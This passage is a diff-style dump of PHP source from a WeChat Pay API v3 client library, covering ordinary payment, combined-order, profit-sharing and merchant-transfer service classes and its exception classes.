if(!isset($order['sub_mchid'])) $order['sub_mchid'] = $this->subMchId;
|
||||
if(!isset($order['sub_appid'])) $order['sub_appid'] = $this->subAppId;
|
||||
}
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 合单JSAPI支付
|
||||
* @param array $params 下单参数
|
||||
* @return array Jsapi支付json数据
|
||||
* @throws Exception
|
||||
*/
|
||||
public function combineJsapiPay(array $params): array
|
||||
{
|
||||
$path = '/v3/combine-transactions/jsapi';
|
||||
$publicParams = [
|
||||
'combine_appid' => $this->appId,
|
||||
'combine_mchid' => $this->mchId,
|
||||
];
|
||||
foreach($params['sub_orders'] as &$order){
|
||||
$order['mchid'] = $this->mchId;
|
||||
if(!isset($order['sub_mchid'])) $order['sub_mchid'] = $this->subMchId;
|
||||
if(!isset($order['sub_appid'])) $order['sub_appid'] = $this->subAppId;
|
||||
}
|
||||
$params = array_merge($publicParams, $params);
|
||||
$result = $this->execute('POST', $path, $params);
|
||||
return $this->getJsApiParameters($result['prepay_id']);
|
||||
}
|
||||
|
||||
/**
|
||||
* 合单H5支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"h5_url":"支付跳转链接"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function combineH5Pay(array $params){
|
||||
$path = '/v3/combine-transactions/h5';
|
||||
$publicParams = [
|
||||
'combine_appid' => $this->appId,
|
||||
'combine_mchid' => $this->mchId,
|
||||
];
|
||||
foreach($params['sub_orders'] as &$order){
|
||||
$order['mchid'] = $this->mchId;
|
||||
if(!isset($order['sub_mchid'])) $order['sub_mchid'] = $this->subMchId;
|
||||
if(!isset($order['sub_appid'])) $order['sub_appid'] = $this->subAppId;
|
||||
}
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 合单APP支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"prepay_id":"预支付交易会话标识"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function combineAppPay(array $params){
|
||||
$path = '/v3/combine-transactions/app';
|
||||
$publicParams = [
|
||||
'combine_appid' => $this->appId,
|
||||
'combine_mchid' => $this->mchId,
|
||||
];
|
||||
foreach($params['sub_orders'] as &$order){
|
||||
$order['mchid'] = $this->mchId;
|
||||
if(!isset($order['sub_mchid'])) $order['sub_mchid'] = $this->subMchId;
|
||||
if(!isset($order['sub_appid'])) $order['sub_appid'] = $this->subAppId;
|
||||
}
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 合单查询订单
|
||||
* @param string $combine_out_trade_no 合单商户订单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function combineQueryOrder(string $combine_out_trade_no){
|
||||
$path = '/v3/combine-transactions/out-trade-no/'.$combine_out_trade_no;
|
||||
|
||||
return $this->execute('GET', $path, []);
|
||||
}
|
||||
|
||||
/**
|
||||
* 合单关闭订单
|
||||
* @param string $combine_out_trade_no 合单商户订单号
|
||||
* @param array $out_trade_no_list 子单订单号列表
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function combineCloseOrder(string $combine_out_trade_no, array $out_trade_no_list){
|
||||
$path = '/v3/combine-transactions/out-trade-no/'.$combine_out_trade_no.'/close';
|
||||
$sub_orders = [];
|
||||
foreach($out_trade_no_list as $out_trade_no){
|
||||
$sub_orders[] = [
|
||||
'mchid' => $this->mchId,
|
||||
'out_trade_no' => $out_trade_no,
|
||||
'sub_appid' => $this->subAppId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
}
|
||||
$params = [
|
||||
'combine_appid' => $this->appId,
|
||||
'sub_orders' => $sub_orders
|
||||
];
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,349 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay\V3;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 基础支付服务类
|
||||
* @see https://pay.weixin.qq.com/wiki/doc/apiv3/index.shtml
|
||||
*/
|
||||
class PaymentService extends BaseService
|
||||
{
|
||||
public function __construct(array $config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* NATIVE支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"code_url":"二维码链接"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function nativePay(array $params){
|
||||
$path = '/v3/pay/transactions/native';
|
||||
$publicParams = [
|
||||
'appid' => $this->appId,
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* JSAPI支付
|
||||
* @param array $params 下单参数
|
||||
* @return array Jsapi支付json数据
|
||||
* @throws Exception
|
||||
*/
|
||||
public function jsapiPay(array $params): array
|
||||
{
|
||||
$path = '/v3/pay/transactions/jsapi';
|
||||
$publicParams = [
|
||||
'appid' => $this->appId,
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
$params = array_merge($publicParams, $params);
|
||||
$result = $this->execute('POST', $path, $params);
|
||||
return $this->getJsApiParameters($result['prepay_id']);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取JSAPI支付的参数
|
||||
* @param string $prepay_id 预支付交易会话标识
|
||||
* @return array json数据
|
||||
*/
|
||||
private function getJsApiParameters(string $prepay_id): array
|
||||
{
|
||||
$params = [
|
||||
'appId' => $this->appId,
|
||||
'timeStamp' => time().'',
|
||||
'nonceStr' => $this->getNonceStr(),
|
||||
'package' => 'prepay_id=' . $prepay_id,
|
||||
];
|
||||
$params['paySign'] = $this->makeSign([$params['appId'], $params['timeStamp'], $params['nonceStr'], $params['package']]);
|
||||
$params['signType'] = 'RSA';
|
||||
return $params;
|
||||
}
|
||||
|
||||
/**
|
||||
* H5支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"h5_url":"支付跳转链接"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function h5Pay(array $params){
|
||||
$path = '/v3/pay/transactions/h5';
|
||||
$publicParams = [
|
||||
'appid' => $this->appId,
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* APP支付
|
||||
* @param array $params 下单参数
|
||||
* @return array APP支付json数据
|
||||
* @throws Exception
|
||||
*/
|
||||
public function appPay(array $params): array
|
||||
{
|
||||
$path = '/v3/pay/transactions/app';
|
||||
$publicParams = [
|
||||
'appid' => $this->appId,
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
$params = array_merge($publicParams, $params);
|
||||
$result = $this->execute('POST', $path, $params);
|
||||
return $this->getAppParameters($result['prepay_id']);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取APP支付的参数
|
||||
* @param string $prepay_id 预支付交易会话标识
|
||||
* @return array
|
||||
*/
|
||||
private function getAppParameters(string $prepay_id): array
|
||||
{
|
||||
$params = [
|
||||
'appid' => $this->appId,
|
||||
'partnerid' => $this->mchId,
|
||||
'prepayid' => $prepay_id,
|
||||
'package' => 'Sign=WXPay',
|
||||
'noncestr' => $this->getNonceStr(),
|
||||
'timestamp' => time().'',
|
||||
];
|
||||
$params['sign'] = $this->makeSign([$params['appid'], $params['timestamp'], $params['noncestr'], $params['prepayid']]);
|
||||
return $params;
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询订单,微信订单号、商户订单号至少填一个
|
||||
* @param string|null $transaction_id 微信订单号
|
||||
* @param string|null $out_trade_no 商户订单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function orderQuery(string $transaction_id = null, string $out_trade_no = null){
|
||||
if(!empty($transaction_id)){
|
||||
$path = '/v3/pay/transactions/id/'.$transaction_id;
|
||||
}elseif(!empty($out_trade_no)){
|
||||
$path = '/v3/pay/transactions/out-trade-no/'.$out_trade_no;
|
||||
}else{
|
||||
throw new Exception('微信支付订单号和商户订单号不能同时为空');
|
||||
}
|
||||
|
||||
$params = [
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 判断订单是否已完成
|
||||
* @param string $transaction_id 微信订单号
|
||||
* @return bool
|
||||
*/
|
||||
public function orderQueryResult(string $transaction_id): bool
|
||||
{
|
||||
try {
|
||||
$data = $this->orderQuery($transaction_id);
|
||||
return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND';
|
||||
} catch (Exception $e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 关闭订单
|
||||
* @param string $out_trade_no 商户订单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function closeOrder(string $out_trade_no){
|
||||
$path = '/v3/pay/transactions/out-trade-no/'.$out_trade_no.'/close';
|
||||
$params = [
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 申请退款
|
||||
* @param array $params
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function refund(array $params){
|
||||
$path = '/v3/refund/domestic/refunds';
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询退款
|
||||
* @param string $out_refund_no
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function refundQuery(string $out_refund_no){
|
||||
$path = '/v3/refund/domestic/refunds/'.$out_refund_no;
|
||||
return $this->execute('GET', $path, []);
|
||||
}
|
||||
|
||||
/**
|
||||
* 申请交易账单
|
||||
* @param array $params
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function tradeBill(array $params){
|
||||
$path = '/v3/bill/tradebill';
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 申请资金账单
|
||||
* @param array $params
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function fundflowBill(array $params){
|
||||
$path = '/v3/bill/fundflowbill';
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 支付通知处理
|
||||
* @return array 支付成功通知参数
|
||||
* @throws Exception
|
||||
*/
|
||||
public function notify(): array
|
||||
{
|
||||
$data = parent::notify();
|
||||
if (!$data || !isset($data['transaction_id']) && !isset($data['combine_out_trade_no'])) {
|
||||
throw new Exception('缺少订单号参数');
|
||||
}
|
||||
if (!isset($data['combine_out_trade_no']) && !$this->orderQueryResult($data['transaction_id'])) {
|
||||
throw new Exception('订单未完成');
|
||||
}
|
||||
return $data;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 合单Native支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"code_url":"二维码链接"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function combineNativePay(array $params){
|
||||
$path = '/v3/combine-transactions/native';
|
||||
$publicParams = [
|
||||
'combine_appid' => $this->appId,
|
||||
'combine_mchid' => $this->mchId,
|
||||
];
|
||||
foreach($params['sub_orders'] as &$order){
|
||||
$order['mchid'] = $this->mchId;
|
||||
}
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 合单JSAPI支付
|
||||
* @param array $params 下单参数
|
||||
* @return array Jsapi支付json数据
|
||||
* @throws Exception
|
||||
*/
|
||||
public function combineJsapiPay(array $params): array
|
||||
{
|
||||
$path = '/v3/combine-transactions/jsapi';
|
||||
$publicParams = [
|
||||
'combine_appid' => $this->appId,
|
||||
'combine_mchid' => $this->mchId,
|
||||
];
|
||||
foreach($params['sub_orders'] as &$order){
|
||||
$order['mchid'] = $this->mchId;
|
||||
}
|
||||
$params = array_merge($publicParams, $params);
|
||||
$result = $this->execute('POST', $path, $params);
|
||||
return $this->getJsApiParameters($result['prepay_id']);
|
||||
}
|
||||
|
||||
/**
|
||||
* 合单H5支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"h5_url":"支付跳转链接"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function combineH5Pay(array $params){
|
||||
$path = '/v3/combine-transactions/h5';
|
||||
$publicParams = [
|
||||
'combine_appid' => $this->appId,
|
||||
'combine_mchid' => $this->mchId,
|
||||
];
|
||||
foreach($params['sub_orders'] as &$order){
|
||||
$order['mchid'] = $this->mchId;
|
||||
}
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 合单APP支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"prepay_id":"预支付交易会话标识"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function combineAppPay(array $params){
|
||||
$path = '/v3/combine-transactions/app';
|
||||
$publicParams = [
|
||||
'combine_appid' => $this->appId,
|
||||
'combine_mchid' => $this->mchId,
|
||||
];
|
||||
foreach($params['sub_orders'] as &$order){
|
||||
$order['mchid'] = $this->mchId;
|
||||
}
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 合单查询订单
|
||||
* @param string $combine_out_trade_no 合单商户订单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function combineQueryOrder(string $combine_out_trade_no){
|
||||
$path = '/v3/combine-transactions/out-trade-no/'.$combine_out_trade_no;
|
||||
|
||||
return $this->execute('GET', $path, []);
|
||||
}
|
||||
|
||||
/**
|
||||
* 合单关闭订单
|
||||
* @param string $combine_out_trade_no 合单商户订单号
|
||||
* @param array $out_trade_no_list 子单订单号列表
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function combineCloseOrder(string $combine_out_trade_no, array $out_trade_no_list){
|
||||
$path = '/v3/combine-transactions/out-trade-no/'.$combine_out_trade_no.'/close';
|
||||
$sub_orders = [];
|
||||
foreach($out_trade_no_list as $out_trade_no){
|
||||
$sub_orders[] = [
|
||||
'mchid' => $this->mchId,
|
||||
'out_trade_no' => $out_trade_no,
|
||||
];
|
||||
}
|
||||
$params = [
|
||||
'combine_appid' => $this->appId,
|
||||
'sub_orders' => $sub_orders
|
||||
];
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,164 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay\V3;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 分账服务类
|
||||
* @see https://pay.weixin.qq.com/wiki/doc/apiv3/open/pay/chapter4_1_4.shtml
|
||||
*/
|
||||
class ProfitsharingService extends BaseService
|
||||
{
|
||||
public function __construct(array $config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 添加分账接收方
|
||||
* @param string $type 分账接收方类型
|
||||
* @param string $account 分账接收方账号
|
||||
* @param string|null $name 用户姓名(填写后校验)
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function addReceiver(string $type, string $account, string $name = null)
|
||||
{
|
||||
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/receivers/add' : '/v3/profitsharing/receivers/add';
|
||||
$params = [
|
||||
'appid' => $this->appId,
|
||||
'type' => $type,
|
||||
'account' => $account,
|
||||
'relation_type' => 'SUPPLIER',
|
||||
];
|
||||
if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId;
|
||||
if (!empty($name)) {
|
||||
if ($this->ecommerce) {
|
||||
$params['encrypted_name'] = $this->rsaEncrypt($name);
|
||||
} else {
|
||||
$params['name'] = $this->rsaEncrypt($name);
|
||||
}
|
||||
}
|
||||
return $this->execute('POST', $path, $params, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 删除分账接收方
|
||||
* @param string $type 分账接收方类型
|
||||
* @param string $account 分账接收方账号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function deleteReceiver($type, string $account)
|
||||
{
|
||||
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/receivers/delete' : '/v3/profitsharing/receivers/delete';
|
||||
$params = [
|
||||
'appid' => $this->appId,
|
||||
'type' => $type,
|
||||
'account' => $account,
|
||||
];
|
||||
if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId;
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 请求分账
|
||||
* @param array $params 请求参数
|
||||
* @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号","status":"分账单状态","receivers":""}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function submit(array $params)
|
||||
{
|
||||
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/orders' : '/v3/profitsharing/orders';
|
||||
$publicParams = [
|
||||
'appid' => $this->appId,
|
||||
];
|
||||
if (!empty($this->subMchId)) $publicParams['sub_mchid'] = $this->subMchId;
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询分账结果
|
||||
* @param string $out_order_no 商户分账单号
|
||||
* @param string $transaction_id 微信订单号
|
||||
* @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号","status":"分账单状态","receivers":""}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function query(string $out_order_no, string $transaction_id)
|
||||
{
|
||||
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/orders' : '/v3/profitsharing/orders/' . $out_order_no;
|
||||
$params = [
|
||||
'transaction_id' => $transaction_id,
|
||||
];
|
||||
if ($this->ecommerce) {
|
||||
$params['out_order_no'] = $out_order_no;
|
||||
}
|
||||
if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId;
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 解冻剩余资金
|
||||
* @param string $out_order_no 商户分账单号
|
||||
* @param string $transaction_id 微信订单号
|
||||
* @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function unfreeze(string $out_order_no, string $transaction_id)
|
||||
{
|
||||
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/finish-order' : '/v3/profitsharing/orders/unfreeze';
|
||||
$params = [
|
||||
'transaction_id' => $transaction_id,
|
||||
'out_order_no' => $out_order_no,
|
||||
'description' => '取消分账'
|
||||
];
|
||||
if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId;
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询订单待分账金额
|
||||
* @param string $transaction_id 微信订单号
|
||||
* @return mixed {"transaction_id":"微信订单号","unsplit_amount":"订单剩余待分金额"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function orderAmountQuery(string $transaction_id)
|
||||
{
|
||||
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/orders/' . $transaction_id . '/amounts' : '/v3/profitsharing/transactions/' . $transaction_id . '/amounts';
|
||||
return $this->execute('GET', $path);
|
||||
}
|
||||
|
||||
/**
|
||||
* 请求分账回退
|
||||
* @param array $params 请求参数
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function return(array $params)
|
||||
{
|
||||
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/returnorders' : '/v3/profitsharing/return-orders';
|
||||
if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId;
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询分账回退结果
|
||||
* @param string $out_return_no 商户回退单号
|
||||
* @param string $out_order_no 商户分账单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function returnQuery(string $out_return_no, string $out_order_no)
|
||||
{
|
||||
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/returnorders' : '/v3/profitsharing/return-orders/' . $out_return_no;
|
||||
$params = [
|
||||
'out_order_no' => $out_order_no
|
||||
];
|
||||
if ($this->ecommerce) $params['out_return_no'] = $out_return_no;
|
||||
if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId;
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,223 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay\V3;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 商家转账服务类
|
||||
* @see https://pay.weixin.qq.com/docs/merchant/products/batch-transfer-to-balance/apilist.html
|
||||
*/
|
||||
class TransferService extends BaseService
|
||||
{
|
||||
public function __construct(array $config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 发起批量转账
|
||||
* @param array $params 请求参数
|
||||
* @return mixed {"out_batch_no":"商家批次单号","batch_id":"微信批次单号","create_time":"批次创建时间"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transfer(array $params)
|
||||
{
|
||||
$path = '/v3/transfer/batches';
|
||||
$publicParams = [
|
||||
'appid' => $this->appId,
|
||||
];
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 微信批次单号查询转账批次单
|
||||
* @param string $batch_id 微信批次单号
|
||||
* @param array $params 查询参数
|
||||
* @return mixed {"transfer_batch":{},"transfer_detail_list":[]}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferbatch(string $batch_id, array $params){
|
||||
$path = '/v3/transfer/batches/batch-id/'.$batch_id;
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 微信明细单号查询转账明细单
|
||||
* @param string $batch_id 微信批次单号
|
||||
* @param string $detail_id 微信明细单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferdetail(string $batch_id, string $detail_id){
|
||||
$path = '/v3/transfer/batches/batch-id/'.$batch_id.'/details/detail-id/'.$detail_id;
|
||||
return $this->execute('GET', $path);
|
||||
}
|
||||
|
||||
/**
|
||||
* 商家批次单号查询转账批次单
|
||||
* @param string $out_batch_no 商家批次单号
|
||||
* @param array $params 查询参数
|
||||
* @return mixed {"transfer_batch":{},"transfer_detail_list":[]}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferoutbatch(string $out_batch_no, array $params){
|
||||
$path = '/v3/transfer/batches/out-batch-no/'.$out_batch_no;
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 商家明细单号查询转账明细单
|
||||
* @param string $out_batch_no 商家批次单号
|
||||
* @param string $out_detail_no 商家明细单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferoutdetail(string $out_batch_no, string $out_detail_no){
|
||||
$path = '/v3/transfer/batches/out-batch-no/'.$out_batch_no.'/details/out-detail-no/'.$out_detail_no;
|
||||
return $this->execute('GET', $path);
|
||||
}
|
||||
|
||||
/**
|
||||
* 转账账单电子回单申请
|
||||
* @param string $out_batch_no 商家批次单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferBatchReceiptApply(string $out_batch_no)
|
||||
{
|
||||
$path = '/v3/transfer/bill-receipt';
|
||||
$params = [
|
||||
'out_batch_no' => $out_batch_no
|
||||
];
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询转账账单电子回单
|
||||
* @param string $out_batch_no 商家批次单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferBatchReceiptQuery(string $out_batch_no)
|
||||
{
|
||||
$path = '/v3/transfer/bill-receipt/'.$out_batch_no;
|
||||
return $this->execute('GET', $path);
|
||||
}
|
||||
|
||||
/**
|
||||
* 转账明细电子回单申请
|
||||
* @param string $out_batch_no 商家批次单号
|
||||
* @param string $out_detail_no 商家明细单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferDetailReceiptApply(string $out_batch_no, string $out_detail_no)
|
||||
{
|
||||
$path = '/v3/transfer-detail/electronic-receipts';
|
||||
$params = [
|
||||
'accept_type' => 'BATCH_TRANSFER',
|
||||
'out_batch_no' => $out_batch_no,
|
||||
'out_detail_no' => $out_detail_no
|
||||
];
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询转账明细电子回单
|
||||
* @param string $out_batch_no 商家批次单号
|
||||
* @param string $out_detail_no 商家明细单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferDetailReceiptQuery(string $out_batch_no, string $out_detail_no)
|
||||
{
|
||||
$path = '/v3/transfer-detail/electronic-receipts';
|
||||
$params = [
|
||||
'accept_type' => 'BATCH_TRANSFER',
|
||||
'out_batch_no' => $out_batch_no,
|
||||
'out_detail_no' => $out_detail_no
|
||||
];
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 发起转账
|
||||
* @param array $params 请求参数
|
||||
* @return mixed {"out_bill_no":"商户单号","transfer_bill_no":"微信转账单号","create_time":"批次创建时间","state":"单据状态","fail_reason":"失败原因","package_info":"跳转领取页面的package信息"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function mchTransfer(array $params)
|
||||
{
|
||||
$path = '/v3/fund-app/mch-transfer/transfer-bills';
|
||||
$publicParams = [
|
||||
'appid' => $this->appId,
|
||||
];
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 撤销转账
|
||||
* @param string $out_bill_no 商户单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function cancelTransfer(string $out_bill_no)
|
||||
{
|
||||
$path = '/v3/fund-app/mch-transfer/transfer-bills/out-bill-no/'.$out_bill_no.'/cancel';
|
||||
return $this->execute('POST', $path);
|
||||
}
|
||||
|
||||
/**
|
||||
* 商户单号查询转账单
|
||||
* @param string $out_bill_no 商户单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function queryTransferByOutNo(string $out_bill_no){
|
||||
$path = '/v3/fund-app/mch-transfer/transfer-bills/out-bill-no/'.$out_bill_no;
|
||||
return $this->execute('GET', $path);
|
||||
}
|
||||
|
||||
/**
|
||||
* 微信单号查询转账单
|
||||
* @param string $transfer_bill_no 微信单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function queryTransfer(string $transfer_bill_no){
|
||||
$path = '/v3/fund-app/mch-transfer/transfer-bills/transfer-bill-no/'.$transfer_bill_no;
|
||||
return $this->execute('GET', $path);
|
||||
}
|
||||
|
||||
/**
|
||||
* 申请电子回单
|
||||
* @param string $out_bill_no 商户单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferReceiptApply(string $out_bill_no)
|
||||
{
|
||||
$path = '/v3/fund-app/mch-transfer/elecsign/out-bill-no';
|
||||
$params = [
|
||||
'out_bill_no' => $out_bill_no,
|
||||
];
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询电子回单
|
||||
* @param string $out_bill_no 商户单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferReceiptQuery(string $out_bill_no)
|
||||
{
|
||||
$path = '/v3/fund-app/mch-transfer/elecsign/out-bill-no/'.$out_bill_no;
|
||||
return $this->execute('GET', $path);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay\V3;
|
||||
|
||||
/**
|
||||
* 微信支付响应内容异常
|
||||
*/
|
||||
class WeChatPayException extends \Exception
|
||||
{
|
||||
private $res = [];
|
||||
private $errCode;
|
||||
private $httpCode;
|
||||
|
||||
/**
|
||||
* @param array $res
|
||||
* @param string $httpCode
|
||||
*/
|
||||
public function __construct($res, $httpCode)
|
||||
{
|
||||
$this->res = $res;
|
||||
$this->httpCode = $httpCode;
|
||||
if(is_array($res)){
|
||||
$this->errCode = $res['code'];
|
||||
$message = '['.$res['code'].']'.$res['message'].(isset($res['detail']['issue'])?'('.$res['detail']['issue'].')':'');
|
||||
}else{
|
||||
$message = '返回数据解析失败(http_code='.$httpCode.')';
|
||||
}
|
||||
parent::__construct($message);
|
||||
}
|
||||
|
||||
public function getResponse(): array
|
||||
{
|
||||
return $this->res;
|
||||
}
|
||||
|
||||
public function getErrCode()
|
||||
{
|
||||
return $this->errCode;
|
||||
}
|
||||
|
||||
public function getHttpCode(): string
|
||||
{
|
||||
return $this->httpCode;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay;
|
||||
|
||||
/**
|
||||
* 微信支付响应内容异常
|
||||
*/
|
||||
class WeChatPayException extends \Exception
|
||||
{
|
||||
private $res = [];
|
||||
private $errCode;
|
||||
|
||||
/**
|
||||
* @param array $res
|
||||
*/
|
||||
public function __construct($res)
|
||||
{
|
||||
$this->res = $res;
|
||||
if (isset($res['err_code'])) {
|
||||
$this->errCode = $res['err_code'];
|
||||
$message = '['.$res['err_code'].']'.$res['err_code_des'];
|
||||
} elseif (isset($res['return_code'])) {
|
||||
